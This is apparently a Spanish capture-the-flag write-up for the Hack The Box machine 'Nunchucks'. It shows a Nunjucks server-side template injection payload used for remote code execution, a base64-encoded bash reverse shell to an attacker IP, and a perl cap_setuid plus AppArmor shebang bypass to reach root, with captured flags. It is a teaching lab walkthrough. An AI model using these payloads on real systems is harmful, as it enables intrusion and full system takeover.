Nunchucks
6 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.122
- Fecha: 02 / 11 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.122 -p 22,80,443
Nmap scan report for 10.10.11.122
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 18.56 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Enumeración web
En primer lugar, empezamos mirando el puerto 80. Si introducimos la dirección IP directamente en el navegador, el servidor redirigirá la petición a https://nunchucks.htb
, por lo que es necesario introducir el dominio nunchucks.htb
en el archivo /etc/hosts
. Una vez hecho, podemos ver la página web:
Podemos tratar de registrar una nueva cuenta, pero parece que la función está deshabilitada:
Y lo mismo para la página de inicio de sesión:
Entonces, parece que no hay nada vulnerable a primera vista. Tampoco se encuentran rutas interesantes haciendo fuzzing.
Buscando subdominios
Veamos si existen otros subdominios, ya que el servidor parece que está utilizando virtual hosts. Para ello, se puede utilizar gobuster
:
$ gobuster vhost -w $WORDLISTS/dirb/common.txt -u https://nunchucks.htb -k -q
Found: store.nunchucks.htb (Status: 200) [Size: 4029]
Y tenemos un subdominio válido. Después de ponerlo en /etc/hosts
, podemos entrar en la siguiente página:
De nuevo, no se encuentran rutas útiles haciendo fuzzing. Lo único con lo que podemos interactuar es con el campo del correo electrónico:
El servidor muestra la tecnología utilizada en las cabederas de respuesta HTTP:
$ curl -Ik https://store.nunchucks.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 4029
Connection: keep-alive
X-Powered-By: Express
set-cookie: _csrf=A-Vn2_f9HxsB2GJ2Fii2pQkA; Path=/
ETag: W/"fbd-udK+KYlYFVN2Nn2DXdm1EXd8mv0"
Como se puede observar, el servidor está corriendo Express JS, que es un módulo de Node.js. Seguramente exista alguna vulnerabilidad asociada con esta tecnología.
Explotando un SSTI
Pensando en el nombre de la máquina (Nunchucks), existe un motor de plantillas para Node.js llamado Nunjucks. Es probable entonces que el campo del correo electrónico sea vulnerable a Server-Side Template Injection (SSTI).
Para verificarlo, el payload más común es
{{7*7}}
Y ver si responde con 49
. Utilizando la petición POST desde curl
, se puede ver que el payload funciona:
$ curl https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}' -kH 'Content-Type: application/json'
{"response":"You will receive updates on the following email address: 49."}
Ahora que sabemos que es vulnerable, podemos buscar payloads maliciosos para conseguir ejecución remota de comandos (RCE). El siguiente payload puede encontrarse aquí:
{{range.constructor('return global.process.mainModule.require("child_process").execSync("whoami")')()}}
Para utilizar este payload en curl
, es necesario utilizar un tercer tipo de comillas porque el payload irá encapsulado en un documento JSON. Una solución es utilizar backticks (`
), que están soportadas por JavaScript, aunque hay que escaparlas porque curl
se ejecuta en un entorno de consola (otra solución podría haber sido escapar o escapar dos beces las comillas normales).
$ curl https://store.nunchucks.htb/api/submit -d "{\"email\":\"{{range.constructor('return global.process.mainModule.require(\`child_process\`).execSync(\`whoami\`)')()}}\"}" -kH 'Content-Type: application/json'
{"response":"You will receive updates on the following email address: david\n."}
Y ahora que tenemos RCE, podemos obtener una reverse shell como usuario david
.
Acceso a la máquina
Para que el payload de la conexión reversa funcione, podemos codificar el comando de Bash en Base64 para prevenir problemas:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
{{range.constructor('return global.process.mainModule.require("child_process").execSync("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash")')()}}
Ahora, enviamos el payload de SSTI (de nuevo, usando backticks):
$ curl https://store.nunchucks.htb/api/submit -d "{\"email\":\"{{range.constructor('return global.process.mainModule.require(\`child_process\`).execSync(\`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash\`)')()}}\"}" -kH 'Content-Type: application/json'
Y obtenemos acceso a la máquina como usuario david
desde nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.122.
Ncat: Connection from 10.10.11.122:44534.
bash: cannot set terminal process group (997): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
david@nunchucks:/var/www/store.nunchucks$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
david@nunchucks:/var/www/store.nunchucks$ export TERM=xterm
david@nunchucks:/var/www/store.nunchucks$ export SHELL=bash
david@nunchucks:/var/www/store.nunchucks$ stty rows 50 columns 158
En este punto, ya podemos coger la flag user.txt
:
david@nunchucks:/var/www/store.nunchucks$ cd
david@nunchucks:~$ cat user.txt
3c5e34ff445df891a0ee282c3d98c6bb
Encontrando capabilities
Después de enumerar el sistema de manera usual, encontramos que perl
tiene la capability cap_setuid
habilitada:
david@nunchucks:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Para escalar privilegios, podemos buscar en GTFOBins para perl
o usar mi herramienta gtfobins-cli
:
$ gtfobins-cli --capabilities perl
perl ==> https://gtfobins.github.io/gtfobins/perl/
Capabilities
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.
cp $(which perl) .
sudo setcap cap_setuid+ep perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
No obstante, al ejecutar el comando parece que no funciona:
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
david@nunchucks:~$ whoami
david
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "whoami";'
root
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
cat: /root/root.txt: Permission denied
Solución de problemas
Después de investigar un poco, descubrimos que hay unas reglas de AppArmor que solo permiten ejecutar algunos comandos de perl
(entre ellos whoami
, por eso veíamos que daba root
como resultado):
david@nunchucks:~$ ls -a /etc/apparmor.d/
. abstractions force-complain lsb_release sbin.dhclient usr.bin.man usr.sbin.ippusbxd usr.sbin.rsyslogd
.. disable local nvidia_modprobe tunables usr.bin.perl usr.sbin.mysqld usr.sbin.tcpdump
david@nunchucks:~$ cat /etc/apparmor.d/usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
Existe un bug de AppArmor que permite evitar la protección si el código de perl
se ejecuta desde un archivo con “shebang” (#!/usr/bin/perl
).
Escalada de privilegios
Aprovechando el bug, podemos poner el “one-liner” de perl
que no funcionaba en un archivo con “shebang”:
david@nunchucks:~$ cd /tmp
david@nunchucks:/tmp$ echo -e '#!/usr/bin/perl\n\nuse POSIX (setuid);\nPOSIX::setuid(0);\nexec "/bin/bash";' > .priv.pl
david@nunchucks:/tmp$ cat .priv.pl
#!/usr/bin/perl
use POSIX (setuid);
POSIX::setuid(0);
exec "/bin/bash";
Ahora, basta con darle permisos de ejecución y acto seguido ejecutarlo. Tras esto, ya somos usuario root
y por tanto, podemos ver la flag root.txt
:
david@nunchucks:/tmp$ chmod +x .priv.pl
david@nunchucks:/tmp$ ./.priv.pl
root@nunchucks:/tmp# cat /root/root.txt
1890e79a33c09beb8878bec7a4595c25